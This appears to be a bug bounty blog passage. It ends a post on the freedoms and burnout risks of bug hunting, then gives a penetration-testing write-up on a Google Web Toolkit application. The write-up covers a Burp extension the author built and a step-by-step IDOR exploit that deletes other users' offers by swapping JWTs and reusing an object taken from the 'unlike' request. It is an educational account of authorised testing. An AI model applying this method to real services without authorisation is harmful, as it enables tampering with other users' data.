Freedom and flexibility

Bug bounty hunting allows hackers to live the working lifestyle they feel comfortable in. All the work is done remotely, except for live hacking events, which due to the Corona Virus, has also gone online. We can work alone or collaborate. Flexibility to work late at night or early in the morning is a great benefit. We also can choose from a wide range of programs depending on our preference. Although the majority prefers to make a side hustle income, around 20% work as full-time bug bounty hunters.

Relational dimension

Bug bounty hunting is not just all about making money. In fact, hackers build relationships and expand their friendships and professional network. The bug bounty community is generally open-minded with a young heart. People here are curious, fun and hard-working. We support each other in case someone goes through a hurdle, like a burnout (more on this shortly). Overall, I’d say I’m grateful to be part of such a great community.

Bug bounty drawbacks

Bug bounties cannot be that perfect, can they? There are downsides as well. I feel I’m responsible to put your expectations into perspective and give you a heads up before you leave your job and start hunting for bugs. Bug bounties, like any other thing in this life, has its drawbacks as well.

Instability

When we hunt for bugs, we only get bounties when we are the first to find one, that’s just how it is. This rule brings a great deal of income instability because it generates frustration and fear. Even talented hackers can hunt for days, or even weeks, without finding a single bug. Imagine how frustrating this can be! That’s why the majority prefer to hack part-time.

Isolation and comparisons

Because bug bounty hunting is commonly remote, we are not limited to an office. Some hackers travel the world while hacking. Others prefer to enjoy hunting from the comfort of their couch at home. However, since we don’t have to work with a team, we can sometimes feel lonely. And when we don’t find vulnerabilities, it gets even worse, especially when scrolling the Twitter feed and finding many tweets of others who find bugs and get paid.

Depression and burnout

The aforementioned drawbacks help prepare for the coming of the scariest ghost, the darkest nightmare of all bug bounty hunters, the most wild beast which we call the burnout. You know, the feeling when you work continuously without any results, you lock yourself in front of your machine, you hack day and night and all you see are others finding bugs. Therefore, you lose your confidence and hope doors suddenly get closed. And then the time comes, and you decide to stop everything and never get back to hacking again.

That’s why it is important to pay attention to your mental health while working as a bug bounty hunter. We will talk about that on a dedicated episode. Meanwhile, you can read what other bug bounty hunters think about it. 

Now you know what to expect from bug bounty hunting. Next time, we will talk about your mental health and how it helps avoiding burnout. Until then, stay curious, keep learning and go find some bugs.

Hacking a Google Web Toolkit application

hacking a GWT application

Hello ethical hackers and bug bounty hunters! I’ve recently conducted a successful penetration testing against a web application built using Google Web Toolkit, and I want to share with you the process I followed and the bugs I found. Hopefully, this episode will inspire you to try harder during your own bug bounty hunting and penetration testing journey.

I will briefly explain what Google Web Toolkit is and what research has already been made around it. Then, I will explain why and how I built a Burp extension to help me during the penetration testing process. Finally, I will share with you some vulnerabilities I found, especially a cool one which required further effort. So stay with me as we smash this web application into pieces!

A brief introduction of Google Web Toolkit

Throughout this episode, I will use Google Web toolkit and GWT interchangeably. It is pronounced GWiT according to the official website.

What is Google Web Toolkit?

Throughout my career, I’ve encountered GWT applications two times only. It’s a relatively old technology, but it’s still used by some companies. According to the official GWT website, Google Web Toolkit is

[…] a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript.

From the official GWT website

In other words, GWT allows developers to write web applications in Java, without having to worry about client-side technologies. In fact, it cross-compiles Java code into JavaScript ready to be used cross-browsers. 

How do Google Web Toolkit requests look like?

It’s easy to tell when you are in front of a GWT application. Typically, you will mostly see POST requests in your web proxy, with a series of strings separated with pipes. It seems intimidating at first, but when you understand how the POST data is structured, it’s fairly easy to spot what it does with a bit of practice. The following is the kind of data you will encounter in a typical GWT web applications.

GWT body example
GWT body example

Understanding the Google Web Toolkit body

I’ve built my knowledge upon this awesome article which explains the previous work that has been done, the GWT body structure and how you can enumerate the endpoints in such a technology. Although it doesn’t completely apply to recent versions, I still recommend you take some time to read it. However, if you still don’t want to manually analyze the requests, it’s possible to parse the GWT requests and pinpoint exactly where the user input is located thanks to a parser available on GitHub. Using this tool, the following command takes the GWT request body and returns the user input marked with the same highlight that BurpSuite uses in the Intruder tool.

GWT parser script highlighting user input similar to Burp Intruder
GWT parser script highlighting user input similar to Burp Intruder

Even with this, it’s impractical for me to manually copy the request body from BurpSuite and run the parser for each and every request. I think it would be great if BurpSuite automatically highlights the user input whenever it encounters a GWT request.

Writing my own Burp Extension for Google Web Toolkit

I have always wanted to write a BurpSuite extension, and this was the best opportunity for me to do so. In fact, I didn’t find any publicly available extension that would successfully parse this kind of requests. For example, the GWT Insertion Points is an extension which doesn’t seem to work, at least for me. It hasn’t been updated for 3 years. Moreover, ZAProxy supports scanning GWT requests, but it doesn’t support them during manual security testing.

The birth of GWTab

With the penetration testing schedule I had, I planned for one day to write the extension. Therefore, I had to keep it simple. The goal was to show a new tab in BurpSuite containing the user input for every GWT request. That way, I can significantly increase my efficiency by focusing only on the marked strings without having to manually run the parsing command. Hence, GWTab was born.

The process of writing GWTab

Writing GWTab involved three main actions:

  • Show a new tab in Burp: I used the custom editor tab template provided by BurpSuite, which gave me a quick start and let me focus on only the GWT feature I wanted to develop. 
  • Parse the GWT body: I used the parser I mentioned earlier. As I said, it can highlight the user input with the Burp Intruder’s marker, which is useful if I want to perform some automated fuzzing later, or even active scanning based on the highlighted input.
  • Extensive reading: I had to read parts of the Burp Extender API in order to properly understand the signature of the functions, the interfaces to use and what to implement.

After a lot of trial and error, I finally got it working! I made it available for everyone on GitHub. The following screenshot shows the new GWT tab containing the user input that I can focus on.

GWT body shown in directly in a Burp tab thanks to the GWTab extension
GWT body shown in directly in a Burp tab thanks to the GWTab extension

Limitations of GWTab

Some requests containing long values make the GWT parser crash. Therefore, GWTab will sometimes show the message “Parser Failed” whenever that happens. Unfortunately, I couldn’t invest more time to fix this issue on the parser.

Now that I can spot user input in most GWT requests on the fly, I was ready to start hunting for those juicy bugs!

Low hanging fruits

I found many low hanging vulnerabilities during this assessment because developers simply didn’t bother implementing any sort of proper access control.

Security through obscurity is a flaw by design

Because the GWT body seems complex, developers assume hackers won’t be able to understand and exploit it. I guess they ignore the very definition of a hacker. If you are a developer reading this, just know that curiosity and challenge are key drivers for a hacker. Besides, be aware that security through obscurity is a fundamentally false protection. It has only pushed hackers to dig even deeper. 

This application was no different. In fact, Broken Access Control and IDOR vulnerabilities were everywhere.

IDOR everywhere

Because of the false assumption I mentioned earlier, almost all endpoints were vulnerable to IDOR vulnerabilities. To make things worse, most requests use increasing numerical identifiers. Besides, it was easy to spot such IDs without even using GWTab since there was only one identifier per request. All I needed was a trained eye, which came naturally with practice. These vulnerable endpoints allowed me to access, edit and even delete resources of other accounts.

However, I want to share details about one bug which required more effort to fully exploit. I chose this one because I want to demonstrate why impact is critical and what techniques you can use to increase it.

Beyond trivial IDOR vulnerabilities

This application is a service exchange platform which allows its clients to offer and consume services. Therefore, if an attacker can delete arbitrary offers, it means that the whole purpose of the application is compromised. Guess what! I found just how to achieve that!

Vulnerability detection

Detecting this vulnerability was easy. In fact, I followed the same approach I mentioned in the video tutorial about Broken Access Control. In a nutshell, I used two separate accounts. Using the first account, I created an offer and triggered the request to delete it. Before deleting it though, I captured the request using BurpSuite and sent it to the Repeater, then dropped the request to preserve the offer. From there, I took the JSON Web Token of the attacking user and inserted it into the vulnerable request. When I sent it to the server, the victim’s offer got deleted.

Impact analysis

Looking at the POST data revealed a huge payload containing multiple objects, IDs and string values. As a bug bounty hunter, you would quickly report this bug right? Well, the impact is still not clear. In fact, I had no idea how an attacker can realistically build such POST data. If you have listened to read the episode about writing a good report, you know that impact plays a huge role in the bug bounty game. To prove the impact, I had to dig deeper into the application.

Exploiting the vulnerability

I first assumed that the server might delete the offer whose ID is present in the request. Therefore, I tried injecting the victim’s offer ID in all the potential inputs present in the POST data. I had to do it by hand since the GWTab extension failed at parsing the POST data. However, after many tries, it became obvious that this was not the right approach because nothing was deleted.

I didn’t want to give up so quickly. I knew that the application allowed users to search for offers of other users. What if I could grab the entire offer object from the results? Unfortunately, this idea failed since both objects didn’t fully match.

It was clear that I needed two requirements if I wanted to successfully exploit this vulnerability.

  • First, I needed a request which uses the same offer object structure.
  • Second, this dream request should be accessible to the attacker.

Based on these two requirements, I started looking through the application features for all the actions a user can perform on offers published by other users. After some time, I found that the user can like and unlike an offer. Lucky for me, the unlike operation uses the exact same offer object as the one used in the offer deletion request! I couldn’t believe my eyes, I was really lucky!

From there, the attack scenario became clear:

  • An attacker browses the offers list, which is public.
  • He/she likes the victim’s offer, then unlikes it.
  • He/she captures the offer object and injects it into the vulnerable request.
  • The victim’s offer gets deleted from the database.

Writing the report

Now that the impact is clear, you can finally and safely report that bug without worrying about rejection. Besides, you might even reduce the probability of getting duplicated since your vulnerability requires more effort to exploit, and not all bug bounty hunters are willing to take the extra steps. Moreover, even if the team accepts your not-so-convincing-impact report, the reward of a clear impact will certainly be much higher.

Conclusion

In the offensive security industry, whether you are a full-time penetration tester or a seasoned bug bounty hunter, curiosity and challenge are the fuel which will push your limits. In my case, I always wanted to write a Burp extension to solve a problem, and this application presented the right opportunity for me to challenge myself. Besides, I always seek ways to achieve the highest impact not only to get higher bounties but to give a better return on investment to my clients as well.

Later I found that the developers were already aware of this issue. However, because of the complexity of the POST data, they assumed that nobody would figure out how to successfully exploit the vulnerability. Thanks to this full exploit, they’ve learnt that they should never rely on obscurity…the hard way!

I hope you found this content useful. If you did, then support me by commenting, sharing and subscribing. Until next time, stay curious, keep learning and go find some bugs.